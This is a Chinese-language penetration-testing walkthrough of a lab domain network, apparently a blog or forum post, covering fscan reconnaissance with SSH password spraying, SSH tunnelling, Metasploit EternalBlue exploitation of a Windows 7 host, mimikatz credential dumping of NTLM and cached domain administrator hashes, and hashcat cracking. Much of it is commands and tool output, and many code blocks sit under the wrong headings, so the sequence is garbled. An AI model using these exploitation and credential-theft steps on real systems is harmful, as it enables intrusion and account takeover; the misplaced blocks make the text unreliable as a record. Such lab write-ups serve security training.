  213. gdm        1099  0.0  0.3 567040 15432 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-session/gnome-session-binary --autostart /usr/share/gdm/greeter
  214. gdm        1133  0.0  3.5 3352992 140300 tty1   Sl+  Apr09   0:03 /usr/bin/gnome-shell
  215. root       1140  0.0  0.2 322316  8560 ?        Ssl  Apr09   0:00 /usr/lib/upower/upowerd
  216. gdm        1152  0.0  1.3 589012 55568 tty1     Sl+  Apr09   0:00 /usr/bin/Xwayland :1024 -rootless -terminate -accessx -core -listen 4 -listen
  217. gdm        1159  0.0  0.2 365592  8300 ?        Ssl  Apr09   0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
  218. gdm        1164  0.0  0.0  49932  3732 ?        S    Apr09   0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.c
  219. gdm        1166  0.0  0.1 220768  7116 ?        Sl   Apr09   0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
  220. gdm        1170  0.0  0.3 1243832 12628 ?       Ssl  Apr09   0:00 /usr/bin/pulseaudio --daemonize=no
  221. rtkit      1171  0.0  0.0 183512  2996 ?        SNsl Apr09   0:00 /usr/lib/rtkit/rtkit-daemon
  222. gdm        1183  0.0  0.2 375260  9612 tty1     Sl   Apr09   0:00 ibus-daemon --xim --panel disable
  223. gdm        1186  0.0  0.1 294488  7940 tty1     Sl   Apr09   0:00 /usr/lib/ibus/ibus-dconf
  224. gdm        1189  0.0  1.2 515080 48472 tty1     Sl   Apr09   0:00 /usr/lib/ibus/ibus-x11 --kill-daemon
  225. gdm        1193  0.0  0.2 292432  8056 ?        Sl   Apr09   0:00 /usr/lib/ibus/ibus-portal
  226. gdm        1199  0.0  0.1 271564  5208 ?        Ssl  Apr09   0:00 /usr/libexec/xdg-permission-store
  227. root       1204  0.0  0.2 315240  8952 ?        Ssl  Apr09   0:00 /usr/lib/x86_64-linux-gnu/boltd
  228. gdm        1209  0.0  1.2 663504 49604 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-xsettings
  229. root       1210  0.0  0.3 382424 14112 ?        Ssl  Apr09   0:00 /usr/lib/packagekit/packagekitd
  230. gdm        1216  0.0  0.2 294476  8064 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-a11y-settings
  231. gdm        1217  0.0  1.1 514708 47928 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-clipboard
  232. gdm        1220  0.0  1.2 827792 49900 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-color
  233. gdm        1221  0.0  0.3 393720 13816 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-datetime
  234. gdm        1222  0.0  0.1 283744  5332 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-housekeeping
  235. gdm        1223  0.0  1.2 675508 49180 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-keyboard
  236. gdm        1227  0.0  1.2 1185244 50872 tty1    Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-media-keys
  237. gdm        1228  0.0  0.1 202000  4536 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-mouse
  238. gdm        1231  0.0  1.2 686292 49892 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-power
  239. gdm        1237  0.0  0.2 267016  8712 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-print-notifications
  240. gdm        1238  0.0  0.1 202020  4520 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-rfkill
  241. gdm        1241  0.0  0.1 275736  4704 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-screensaver-proxy
  242. gdm        1244  0.0  0.2 321436 10212 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-sharing
  243. gdm        1248  0.0  0.2 390692  9692 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-smartcard
  244. gdm        1249  0.0  0.2 343052  9784 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-sound
  245. gdm        1255  0.0  1.2 599664 49012 tty1     Sl+  Apr09   0:00 /usr/lib/gnome-settings-daemon/gsd-wacom
  246. gdm        1265  0.0  0.1 218764  7860 tty1     Sl   Apr09   0:00 /usr/lib/ibus/ibus-engine-simple
  247. colord     1299  0.0  0.3 339576 15872 ?        Ssl  Apr09   0:00 /usr/lib/colord/colord
  248. root       1667  0.0  0.1 110532  7456 ?        Rs   00:02   0:00 sshd: root@pts/0
  249. root       1669  0.0  0.1  76928  7912 ?        Ss   00:02   0:00 /lib/systemd/systemd --user
  250. root       1670  0.0  0.0 193708  2656 ?        S    00:02   0:00 (sd-pam)
  251. root       1681  0.0  0.0      0     0 ?        I    00:02   0:00 [kworker/0:1-eve]
  252. root       1772  0.0  0.1  29788  5112 pts/0    Ss   00:02   0:00 -bash
  253. root       1838  0.0  0.0      0     0 ?        I    00:06   0:00 [kworker/u256:0-]
  254. root       1839  0.0  0.2 107696  8092 ?        Ss   00:06   0:00 /usr/sbin/cupsd -l
  255. root       1841  0.0  0.2 303664 10992 ?        Ssl  00:06   0:00 /usr/sbin/cups-browsed
  256. root       1919  0.0  0.0   4632   924 ?        Ss   00:08   0:00 /bin/sh /usr/lib/apt/apt.systemd.daily install
  257. root       1923  0.0  0.0   4632  1776 ?        S    00:08   0:00 /bin/sh /usr/lib/apt/apt.systemd.daily lock_is_held install
  258. root       1932  0.0  0.0      0     0 ?        I    00:08   0:00 [kworker/1:0-mm_]
  259. root       1955 99.8  3.3 246484 135684 ?       RN   00:08  10:25 /usr/bin/python3 /usr/bin/unattended-upgrade
  260. root       1973  0.0  0.0      0     0 ?        I    00:12   0:00 [kworker/u256:1-]
  261. root       1988  0.0  0.0      0     0 ?        I    00:17   0:00 [kworker/0:0-eve]
  262. root       2002  0.0  0.0  46776  3640 pts/0    R+   00:18   0:00 ps aux
复制代码
没有防火墙且收支自由。
下一步就是内网信息搜集了。
五、Fscan

通过 scp 下令上传 fscan 到服务器上,开始内网信息搜集:
  1. root@cat /etc/hostname:~# iptables -L -v -n 2>/dev/null
  2. Chain INPUT (policy ACCEPT 71 packets, 4966 bytes)
  3. pkts bytes target     prot opt in     out     source               destination         
  4. Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
  5. pkts bytes target     prot opt in     out     source               destination         
  6. Chain OUTPUT (policy ACCEPT 66 packets, 5906 bytes)
  7. pkts bytes target     prot opt in     out     source               destination         
  8. root@cat /etc/hostname:~# ufw status 2>/dev/null
  9. Status: inactive
复制代码
上传乐成后,直接扫描:
  1. scp -i target /usr/local/bin/fscan root@192.168.111.20:/tmp/
复制代码
扫描的时间忘记把本机扫除了 😛,花得时间略长。各人可以利用:
  1. scp -i target /usr/local/bin/fscan root@192.168.111.20:/tmp/ -hn 192.168.52.10
复制代码
把本机扫除。
效果:
  1. ./fscan -h 192.168.52.0/24 -hn 192.168.52.10
复制代码
扫描忘记扫除本主机固然是失误,但是也让我看到了 fscan 的好用,之前分析的效果 fscan 一个扫描全出来了……,不外这也依靠于指纹库和毛病库,并不是全部的环境都能涵盖的。
整理一下信息:
1、192.168.52.20

端口开放环境以及干系指纹信息:
  1. start infoscan
  2. (icmp) Target 192.168.52.10   is alive
  3. (icmp) Target 192.168.52.20   is alive
  4. (icmp) Target 192.168.52.30   is alive
  5. [*] Icmp alive hosts len is: 3
  6. 192.168.52.10:81 open
  7. 192.168.52.10:80 open
  8. 192.168.52.20:22 open
  9. 192.168.52.10:22 open
  10. 192.168.52.30:135 open
  11. 192.168.52.30:445 open
  12. 192.168.52.30:139 open
  13. 192.168.52.10:6379 open
  14. 192.168.52.30:8080 open
  15. 192.168.52.20:8000 open
  16. [*] alive ports len is: 10
  17. start vulscan
  18. [*] WebTitle http://192.168.52.10      code:502 len:584    title:502 Bad Gateway
  19. [*] NetBios 192.168.52.30   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1
  20. [*] NetBios 192.168.52.30   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1
  21. [*] WebTitle http://192.168.52.30:8080 code:200 len:10065  title:通达OA网络智能办公系统        [+] InfoScan http://192.168.52.30:8080 [通达OA]
  22. [*] WebTitle http://192.168.52.30:8080 code:200 len:10065  title:通达OA网络智能办公系统                                                         
  23. [+] InfoScan http://192.168.52.30:8080 [通达OA]
  24. [*] WebTitle http://192.168.52.10:81   code:200 len:17474  title:Laravel                                                                        
  25. [*] WebTitle http://192.168.52.20:8000 code:200 len:17474  title:Laravel
  26. [+] InfoScan http://192.168.52.20:8000 [Laravel]
  27. [+] InfoScan http://192.168.52.10:81   [Laravel]                                                                                                
  28. [+] PocScan http://192.168.52.30:8080 tongda-user-session-disclosure                                                                           
  29. [+] Redis 192.168.52.10:6379 unauthorized file:/root/.ssh/authorized_keys                                                                       
  30. [+] Redis 192.168.52.10:6379 like can write /root/.ssh/                                                                                         
  31. [+] Redis 192.168.52.10:6379 like can write /var/spool/cron/                                                                                    
  32. 192.168.52.20:22 open
  33. 192.168.52.20:8000 open
  34. [*] WebTitle http://192.168.52.20:8000 code:200 len:17474  title:Laravel
  35. [+] InfoScan http://192.168.52.20:8000 [Laravel]                                                                           
  36. [+] PocScan http://192.168.52.10:81 C:\Windows\system32>arp -a
  37. arp -a
  38. Interface: 192.168.52.30 --- 0xb
  39.   Internet Address      Physical Address      Type
  40.   192.168.52.10         00-50-56-b1-f7-eb     dynamic   
  41.   192.168.52.255        ff-ff-ff-ff-ff-ff     static   
  42.   224.0.0.22            01-00-5e-00-00-16     static   
  43.   224.0.0.252           01-00-5e-00-00-fc     static   
  44. Interface: 169.254.129.186 --- 0x16
  45.   Internet Address      Physical Address      Type
  46.   169.254.255.255       ff-ff-ff-ff-ff-ff     static   
  47.   224.0.0.22            01-00-5e-00-00-16     static   
  48.   224.0.0.252           01-00-5e-00-00-fc     static   
  49.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
  50. Interface: 192.168.93.20 --- 0x17
  51.   Internet Address      Physical Address      Type
  52.   192.168.93.30         00-50-56-b1-03-a1     dynamic   
  53.   192.168.93.40         00-50-56-b1-a1-a3     dynamic   
  54.   192.168.93.255        ff-ff-ff-ff-ff-ff     static   
  55.   224.0.0.22            01-00-5e-00-00-16     static   
  56.   224.0.0.252           01-00-5e-00-00-fc     static                                                                              
  57. 已完成 8/10 [-] ssh 192.168.52.10:22 root Aa1234. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  58. 已完成 8/10 [-] ssh 192.168.52.10:22 admin Admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  59. 已完成 8/10 [-] ssh 192.168.52.10:22 admin 1qaz2wsx ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  60. 已完成 9/10 [-] ssh 192.168.52.20:22 root root@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  61. 已完成 9/10 [-] ssh 192.168.52.20:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  62. 已完成 9/10 [-] ssh 192.168.52.20:22 root 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  63. 已完成 10/10
  64. [*] 扫描结束,耗时: 7m12.740113763s
复制代码
工具直接扫出来一个 cve:
  1. 192.168.52.20:22 open
  2. 192.168.52.20:8000 open
  3. [*] WebTitle http://192.168.52.20:8000 code:200 len:17474  title:Laravel
  4. [+] InfoScan http://192.168.52.20:8000 [Laravel]
复制代码
工具对 22 端口举行了弱暗码爆破,但是没有用果:
  1. [+] PocScan http://192.168.52.20:8000 C:\Windows\system32>arp -a
  2. arp -a
  3. Interface: 192.168.52.30 --- 0xb
  4.   Internet Address      Physical Address      Type
  5.   192.168.52.10         00-50-56-b1-f7-eb     dynamic   
  6.   192.168.52.255        ff-ff-ff-ff-ff-ff     static   
  7.   224.0.0.22            01-00-5e-00-00-16     static   
  8.   224.0.0.252           01-00-5e-00-00-fc     static   
  9. Interface: 169.254.129.186 --- 0x16
  10.   Internet Address      Physical Address      Type
  11.   169.254.255.255       ff-ff-ff-ff-ff-ff     static   
  12.   224.0.0.22            01-00-5e-00-00-16     static   
  13.   224.0.0.252           01-00-5e-00-00-fc     static   
  14.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
  15. Interface: 192.168.93.20 --- 0x17
  16.   Internet Address      Physical Address      Type
  17.   192.168.93.30         00-50-56-b1-03-a1     dynamic   
  18.   192.168.93.40         00-50-56-b1-a1-a3     dynamic   
  19.   192.168.93.255        ff-ff-ff-ff-ff-ff     static   
  20.   224.0.0.22            01-00-5e-00-00-16     static   
  21.   224.0.0.252           01-00-5e-00-00-fc     static
复制代码
2、192.168.52.30

端口开放环境:
  1. 已完成 9/10 [-] ssh 192.168.52.20:22 root root@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  2. 已完成 9/10 [-] ssh 192.168.52.20:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  3. 已完成 9/10 [-] ssh 192.168.52.20:22 root 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  4. 已完成 10/10
复制代码
干系指纹信息:
  1. 192.168.52.30:135 open
  2. 192.168.52.30:445 open
  3. 192.168.52.30:139 open
  4. 192.168.52.30:8080 open
复制代码

  • 可以判定这是一个域环境:

    • 域名:whoamianony.org
    • 本主机名:PC1

  • 8080 运行着一个“通达OA网络智能办公体系”,大概存在 nday
扫描得到本主机存在永恒之蓝毛病:
  1. [*] NetBios 192.168.52.30   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1
  2. [*] WebTitle http://192.168.52.30:8080 code:200 len:10065  title:通达OA网络智能办公系统        [+] InfoScan http://192.168.52.30:8080 [通达OA]
复制代码
综上,得到的关键信息:

六、永恒之蓝

MSF 有模块,可以直接实行打永恒之蓝。
在此之前,先把署理创建好。
1、署理的创建

根据后续利用的 payload 是 reverse 照旧 bind,我们视环境选择创建正向署理照旧反向署理。
我选择的是“正向署理 + bind payload”。
创建 socks5 署理:
  1. [+] MS17-010 192.168.52.30      (Windows 7 Professional 7601 Service Pack 1)
复制代码
2、ms17_010_eternalblue 模块

调出 MSF:
  1. ssh -i target -D 1080 -N -C root@192.168.111.20
复制代码
设置全局署理:
  1. ssh -i target -R 0.0.0.0:4444:localhost:4444 -R 0.0.0.0:6666:localhost:6666 root@192.168.111.20 -N
复制代码
利用永恒之蓝模块:
  1. setg Proxies socks5h://127.0.0.1:1080
复制代码
选择 payload:
  1. msf > use exploit/windows/smb/ms17_010_eternalblue
复制代码
留意选择带 bind 的。
设置须要参数:
  1. msf exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/bind_tcp
复制代码
直接跑模块:
  1. msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30
复制代码
直接拿下主机的最高权限:

3、信息搜集

(1)网络信息

搜集一下根本的信息:
  1. msf exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_domain
  2. msf post(windows/gather/enum_domain) > set session 1
  3. session => 1
复制代码
发现这台机子也是双网卡的:

  • 192.168.52.30
  • 192.168.93.20
而且可以得知本机名是 PC1,域名是 whoamianony.org
而且根据:
  1. C:\Windows\system32>ipconfig /all
  2. ipconfig /all
  3. Windows IP Configuration
  4.    Host Name . . . . . . . . . . . . : PC1
  5.    Primary Dns Suffix  . . . . . . . : whoamianony.org
  6.    Node Type . . . . . . . . . . . . : Hybrid
  7.    IP Routing Enabled. . . . . . . . : No
  8.    WINS Proxy Enabled. . . . . . . . : No
  9.    DNS Suffix Search List. . . . . . : whoamianony.org
  10. Ethernet adapter �������� 4:
  11.    Connection-specific DNS Suffix  . :
  12.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
  13.    Physical Address. . . . . . . . . : 00-50-56-B1-7F-9E
  14.    DHCP Enabled. . . . . . . . . . . : No
  15.    Autoconfiguration Enabled . . . . : Yes
  16.    Link-local IPv6 Address . . . . . : fe80::a48c:626e:c838:265%23(Preferred)
  17.    IPv4 Address. . . . . . . . . . . : 192.168.93.20(Preferred)
  18.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  19.    Default Gateway . . . . . . . . . :
  20.    DHCPv6 IAID . . . . . . . . . . . : 721423401
  21.    DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
  22.    DNS Servers . . . . . . . . . . . : 192.168.93.30
  23.    NetBIOS over Tcpip. . . . . . . . : Enabled
  24. Ethernet adapter Npcap Loopback Adapter:
  25.    Connection-specific DNS Suffix  . :
  26.    Description . . . . . . . . . . . : Npcap Loopback Adapter
  27.    Physical Address. . . . . . . . . : 02-00-4C-4F-4F-50
  28.    DHCP Enabled. . . . . . . . . . . : Yes
  29.    Autoconfiguration Enabled . . . . : Yes
  30.    Link-local IPv6 Address . . . . . : fe80::b461:ccad:e30f:81ba%22(Preferred)
  31.    Autoconfiguration IPv4 Address. . : 169.254.129.186(Preferred)
  32.    Subnet Mask . . . . . . . . . . . : 255.255.0.0
  33.    Default Gateway . . . . . . . . . :
  34.    DHCPv6 IAID . . . . . . . . . . . : 268566604
  35.    DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
  36.    DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
  37.                                        fec0:0:0:ffff::2%1
  38.                                        fec0:0:0:ffff::3%1
  39.    NetBIOS over Tcpip. . . . . . . . : Enabled
  40. Ethernet adapter ��������:
  41.    Connection-specific DNS Suffix  . :
  42.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  43.    Physical Address. . . . . . . . . : 00-50-56-B1-54-16
  44.    DHCP Enabled. . . . . . . . . . . : No
  45.    Autoconfiguration Enabled . . . . : Yes
  46.    Link-local IPv6 Address . . . . . : fe80::858b:43d6:476c:6a3%11(Preferred)
  47.    IPv4 Address. . . . . . . . . . . : 192.168.52.30(Preferred)
  48.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  49.    Default Gateway . . . . . . . . . : 192.168.52.2
  50.    DHCPv6 IAID . . . . . . . . . . . : 234884137
  51.    DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
  52.    DNS Servers . . . . . . . . . . . : 192.168.52.2
  53.    NetBIOS over Tcpip. . . . . . . . : Enabled
  54. Tunnel adapter isatap.{4DAEBDFD-0177-4691-8243-B73297E2F0FF}:
  55.    Media State . . . . . . . . . . . : Media disconnected
  56.    Connection-specific DNS Suffix  . :
  57.    Description . . . . . . . . . . . : Microsoft ISATAP Adapter
  58.    Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
  59.    DHCP Enabled. . . . . . . . . . . : No
  60.    Autoconfiguration Enabled . . . . : Yes
  61. Tunnel adapter isatap.{55ECD929-FBB2-4D96-B43D-8FFEB14A169F}:
  62.    Media State . . . . . . . . . . . : Media disconnected
  63.    Connection-specific DNS Suffix  . :
  64.    Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
  65.    Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
  66.    DHCP Enabled. . . . . . . . . . . : No
  67.    Autoconfiguration Enabled . . . . : Yes
  68. Tunnel adapter isatap.{EC57C4EB-763E-4000-9CDE-4D7FF15DF74C}:
  69.    Media State . . . . . . . . . . . : Media disconnected
  70.    Connection-specific DNS Suffix  . :
  71.    Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
  72.    Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
  73.    DHCP Enabled. . . . . . . . . . . : No
  74.    Autoconfiguration Enabled . . . . : Yes
复制代码
这条信息,大抵可以确认域控的 IP 就是 192.168.93.30(由于域环境中,DNS Server 通常就是域控)。
(2)域控确认

确认一下上面得到的结论:
  1. DNS Servers . . . . . . . . . . . : 192.168.93.30
复制代码
出现一个标题,显着我是最高权限,但是访问被拒绝了?
net ... /domain 这类带 /domain 参数的下令,不是用本地 SYSTEM 身份去查询,而是用这台主机的盘算机账户(Machine Account,比方 WIN-XXXX$@whoamianony.org)的身份,通过网络向域控发起 LDAP/SAMR 查询。
切换回 MSF,用 MSF 自带的域网络模块 post/windows/gather/enum_domain
挂起当前的 session:
  1. C:\Windows\system32>chcp 65001
  2. chcp 65001
  3. Active code page: 65001
  4. C:\Windows\system32>net group "Domain Controllers" /domain
  5. net group "Domain Controllers" /domain
  6. The request will be processed at a domain controller for domain whoamianony.org.
  7. System error 5 has occurred.
  8. Access is denied.
复制代码
检察挂起的 session id:

利用模块并设置信息:
  1. meterpreter > bg
复制代码
跑:
  1. msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30
复制代码
效果:
  1. msf post(windows/gather/enum_domain) > msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30[+] Domain FQDN: whoamianony.org[+] Domain NetBIOS Name: WHOAMIANONY[+] Domain Controller: DC.whoamianony.org (IP: 192.168.93.30)
  2. [*] Post module execution completed
复制代码
域控为:DC.whoamianony.org(192.168.93.30)
(3)路由信息

检察本地的路由是否能到达域控:
  1. msf post(windows/gather/enum_domain) > run
  2. [+] Domain FQDN: whoamianony.org
  3. [+] Domain NetBIOS Name: WHOAMIANONY
  4. [+] Domain Controller: DC.whoamianony.org (IP: 192.168.93.30)
  5. [*] Post module execution completed
复制代码
根据路由信息知道,本机是可以直接访问域控的。
(4)搜集根据

根据搜集:
  1. C:\Windows\system32>route print
  2. route print
  3. ===========================================================================
  4. Interface List
  5. 23...00 50 56 b1 7f 9e ......Intel(R) PRO/1000 MT Network Connection #2
  6. 22...02 00 4c 4f 4f 50 ......Npcap Loopback Adapter
  7. 11...00 50 56 b1 54 16 ......Intel(R) PRO/1000 MT Network Connection
  8.   1...........................Software Loopback Interface 1
  9. 12...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
  10. 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
  11. 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
  12. ===========================================================================
  13. IPv4 Route Table
  14. ===========================================================================
  15. Active Routes:
  16. Network Destination        Netmask          Gateway       Interface  Metric
  17.           0.0.0.0          0.0.0.0     192.168.52.2    192.168.52.30    266
  18.         127.0.0.0        255.0.0.0         On-link         127.0.0.1    306
  19.         127.0.0.1  255.255.255.255         On-link         127.0.0.1    306
  20.   127.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  21.       169.254.0.0      255.255.0.0         On-link   169.254.129.186    286
  22.   169.254.129.186  255.255.255.255         On-link   169.254.129.186    286
  23.   169.254.255.255  255.255.255.255         On-link   169.254.129.186    286
  24.      192.168.52.0    255.255.255.0         On-link     192.168.52.30    266
  25.     192.168.52.30  255.255.255.255         On-link     192.168.52.30    266
  26.    192.168.52.255  255.255.255.255         On-link     192.168.52.30    266
  27.      192.168.93.0    255.255.255.0         On-link     192.168.93.20    266
  28.     192.168.93.20  255.255.255.255         On-link     192.168.93.20    266
  29.    192.168.93.255  255.255.255.255         On-link     192.168.93.20    266
  30.         224.0.0.0        240.0.0.0         On-link         127.0.0.1    306
  31.         224.0.0.0        240.0.0.0         On-link     192.168.52.30    266
  32.         224.0.0.0        240.0.0.0         On-link     192.168.93.20    266
  33.         224.0.0.0        240.0.0.0         On-link   169.254.129.186    286
  34.   255.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  35.   255.255.255.255  255.255.255.255         On-link     192.168.52.30    266
  36.   255.255.255.255  255.255.255.255         On-link     192.168.93.20    266
  37.   255.255.255.255  255.255.255.255         On-link   169.254.129.186    286
  38. ===========================================================================
  39. Persistent Routes:
  40.   Network Address          Netmask  Gateway Address  Metric
  41.           0.0.0.0          0.0.0.0     192.168.52.2  Default
  42. ===========================================================================
  43. IPv6 Route Table
  44. ===========================================================================
  45. Active Routes:
  46. If Metric Network Destination      Gateway
  47.   1    306 ::1/128                  On-link
  48. 11    266 fe80::/64                On-link
  49. 23    266 fe80::/64                On-link
  50. 22    286 fe80::/64                On-link
  51. 11    266 fe80::858b:43d6:476c:6a3/128
  52.                                     On-link
  53. 23    266 fe80::a48c:626e:c838:265/128
  54.                                     On-link
  55. 22    286 fe80::b461:ccad:e30f:81ba/128
  56.                                     On-link
  57.   1    306 ff00::/8                 On-link
  58. 11    266 ff00::/8                 On-link
  59. 23    266 ff00::/8                 On-link
  60. 22    286 ff00::/8                 On-link
  61. ===========================================================================
  62. Persistent Routes:
  63.   None
复制代码
只搜集到本机的域内呆板账户的根据信息,并没有和域内管理员账户。
再多试几个下令(这里实行了多个根据抓取下令,下面仅展示有用的那条):
  1. meterpreter > load kiwi
  2. Loading extension kiwi...
  3.   .#####.   mimikatz 2.2.0 20191125 (x64/windows)
  4. .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  5. ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  6. ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  7. '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  8.   '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
  9. Success.
  10. meterpreter > creds_all
  11. [+] Running as SYSTEM
  12. [*] Retrieving all credentials
  13. msv credentials
  14. ===============
  15. Username  Domain       NTLM                              SHA1
  16. --------  ------       ----                              ----
  17. PC1$      WHOAMIANONY  3e6a3d8c713b4821eaa51aab25f52074  d8e1318a24c64b8fcc89dc8609b09af50342bacf
  18. wdigest credentials
  19. ===================
  20. Username  Domain       Password
  21. --------  ------       --------
  22. (null)    (null)       (null)
  23. PC1$      WHOAMIANONY  %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol
  24.                        ;
  25. kerberos credentials
  26. ====================
  27. Username  Domain           Password
  28. --------  ------           --------
  29. (null)    (null)           (null)
  30. pc1$      whoamianony.org  %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f
  31.                            >[ol;
  32. pc1$      WHOAMIANONY.ORG  %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f
  33.                            >[ol;
复制代码
聚焦:
  1. meterpreter > kiwi_cmd "lsadump::cache"
  2. Domain : PC1
  3. SysKey : fd4639f4e27c79683ae9fee56b44393f
  4. Local name : PC1 ( S-1-5-21-1982601180-2087634876-2293013296 )
  5. Domain name : WHOAMIANONY ( S-1-5-21-1315137663-3706837544-1429009142 )
  6. Domain FQDN : whoamianony.org
  7. Policy subsystem is : 1.11
  8. LSA Key(s) : 1, default {c4f0262f-f9ba-5833-89e5-1264beb97c37}
  9.   [00] {c4f0262f-f9ba-5833-89e5-1264beb97c37} 12ec51d5510d2e28b5f273a98a547e21ceec081867af5348f219b08215f27558
  10. * Iteration is set to default (10240)
  11. [NL$1 - 2021/2/22 18:53:27]
  12. RID       : 00000458 (1112)
  13. User      : WHOAMIANONY\bunny
  14. MsCacheV2 : 00dd17d44798d1ac5f335365db696d1e
  15. [NL$2 - 2025/9/18 17:05:27]
  16. RID       : 000001f4 (500)
  17. User      : WHOAMIANONY\Administrator
  18. MsCacheV2 : 2f44261182b156fe4e2cb03b39925b72
复制代码
RID 500 是 Active Directory 里固定的内置域管理员账号(任何域的 Administrator 账户 RID 都是 500)。
MsCacheV2:Domain Cached Credentials v2(DCC2) 格式的缓存哈希。
RID账户500Administrator(内置管理员)501Guest502krbtgt(域控特有)512Domain Admins 组如今知道:

  • Username:Administrator
  • MsCacheV2:2f44261182b156fe4e2cb03b39925b72
DCC2 无法直接用于登入账户,可以实行本地撞一下 Hash(各人可以不消实行,缘故因由看下面写的“全局视角”):
  1. [NL$2 - 2025/9/18 17:05:27]
  2. RID : 000001f4 (500)
  3. User : WHOAMIANONY\Administrator
  4. MsCacheV2 : 2f44261182b156fe4e2cb03b39925b72
复制代码
全局视角:固然靶场暗码通常很简朴,但是本次的暗码 Whoami2021 并不在 rockyou 里,以是爆破不出来……
4、思绪调解

再次更新一下靶场图:

域内另有其他呆板吗?
检察一下 PC1 的 arp 缓存:
  1. echo '$DCC2$10240#Administrator#2f44261182b156fe4e2cb03b39925b72' > /tmp/dcc2.hash
  2. hashcat -m 2100 /tmp/dcc2.hash /usr/share/wordlists/rockyou.txt
复制代码
找到了另一台:

实行了一下 MSF 的扫描模块,都没有任何的效果,应该是防火墙的缘故,因此,我们可以先把目的转移到 192.168.52.20 这台主机上。
七、192.168.52.20

1、cve-2021-3129

192.168.52.20 的 8000 端口上运行着 http 服务,而且之前扫描效果表现,大概存在:
  1. C:\Windows\system32>arp -a
  2. arp -a
  3. Interface: 192.168.52.30 --- 0xb
  4.   Internet Address      Physical Address      Type
  5.   192.168.52.10         00-50-56-b1-f7-eb     dynamic   
  6.   192.168.52.255        ff-ff-ff-ff-ff-ff     static   
  7.   224.0.0.22            01-00-5e-00-00-16     static   
